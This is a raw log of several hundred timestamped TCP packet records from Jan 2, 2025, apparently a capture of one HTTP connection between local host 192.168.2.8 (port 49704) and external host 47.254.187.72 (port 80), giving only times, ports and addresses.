Jan 2, 2025 20:20:08.621387005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.621402979 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.621402979 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.621402979 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.621432066 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.621942997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.621953964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.621964931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.622000933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.622011900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.622019053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.622024059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.622029066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.622072935 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.622072935 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.623058081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.623078108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.623126984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.623135090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.623147011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.623157024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.623173952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.623187065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.623191118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.623198032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.623209000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.623218060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.623248100 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.623296976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.628103018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.628124952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.628138065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.628197908 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.628197908 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.628226042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.628237963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.628249884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.628261089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.628272057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.628288984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.628361940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.629512072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.629522085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.629566908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.629578114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.629584074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.629589081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.629612923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.629616976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.629637957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.629651070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.629657984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.629668951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.629695892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.629904032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.629914045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.629925013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.629942894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.629952908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.629966974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.629971981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.629982948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.629982948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.629996061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.630004883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.630023956 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.630080938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.647408009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.647478104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.647489071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.647500992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.647511005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.647522926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.647536993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.647559881 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.647576094 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.651835918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.651846886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.651858091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.651870012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.651889086 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.651894093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.651912928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.651925087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.651937962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.651946068 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.651946068 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.651947021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.651981115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.652012110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.668565035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.668596983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.668606997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.668622971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.668632984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.668634892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.668646097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.668658018 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.668661118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.668673038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.668685913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.668715954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.668730974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.675195932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.675210953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.675223112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.675234079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.675245047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.675261974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.675275087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.675295115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.675295115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.675329924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.678760052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.678781033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.678792000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.678838015 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.678853989 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.678877115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.678889036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.678899050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.678909063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.678920031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.678930998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.678957939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.679004908 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.681689024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.681708097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.681775093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.681791067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.681802988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.681813002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.681822062 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.681822062 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.681827068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.681838036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.681874037 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.681921959 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.699120998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.699134111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.699168921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.699179888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.699191093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.699210882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.699210882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.699227095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.699245930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.699256897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.699280024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.699280024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.699305058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.712357998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712376118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712388992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712399960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712409973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712414980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.712420940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712450981 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.712476969 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.712480068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712491989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712502956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712512970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712522984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712527990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712534904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712543011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712548018 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.712548018 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.712554932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712578058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.712579012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712598085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.712627888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712640047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712652922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712661028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712663889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.712663889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.712677956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712688923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.712690115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.712775946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.713121891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713144064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713154078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713165998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713179111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713191986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713198900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.713198900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.713205099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713222027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713232994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713242054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.713244915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713255882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713265896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713277102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713280916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.713280916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.713288069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713299036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713304043 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.713309050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713320971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713360071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.713377953 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.713682890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713692904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713738918 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.713758945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713769913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713781118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713790894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713802099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713814020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.713818073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.713834047 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.713861942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.718775034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.718786955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.718797922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.718811989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.718827963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.718839884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.718849897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.718861103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.718863964 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.718863964 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.718899012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.718899012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.720802069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.720819950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.720832109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.720851898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.720864058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.720870972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.720870972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.720874071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.720885992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.720896959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.720907927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.720909119 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.720909119 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.720918894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.720928907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.720930099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.720941067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.720952034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.720963955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.720988035 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.720988035 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.720988035 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.721057892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.735213041 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.738013029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.738025904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.738043070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.738060951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.738078117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.738090038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.738092899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.738092899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.738101006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.738112926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.738123894 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.738147020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.738168001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.742511988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.742523909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.742535114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.742563963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.742574930 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.742574930 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.742579937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.742593050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.742603064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.742624998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.742654085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.743959904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.744000912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.759187937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.759246111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.759257078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.759268999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.759272099 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.759279013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.759293079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.759295940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.759304047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.759334087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.759361029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.765691042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.765778065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.765789986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.765800953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.765811920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.765816927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.765816927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.765825033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.765836954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.765847921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.765871048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.765871048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.765898943 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.769506931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.769519091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.769531012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.769543886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.769556999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.769567966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.769578934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.769589901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.769609928 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.769609928 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.769609928 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.769644976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.772346973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.772358894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.772377968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.772393942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.772403002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.772406101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.772416115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.772428989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.772463083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.772463083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.789768934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.789779902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.789819002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.789865017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.789875984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.789887905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.789897919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.789910078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.789920092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.789943933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.789943933 CET	49704	80	192.168.2.8	47.254.187.72
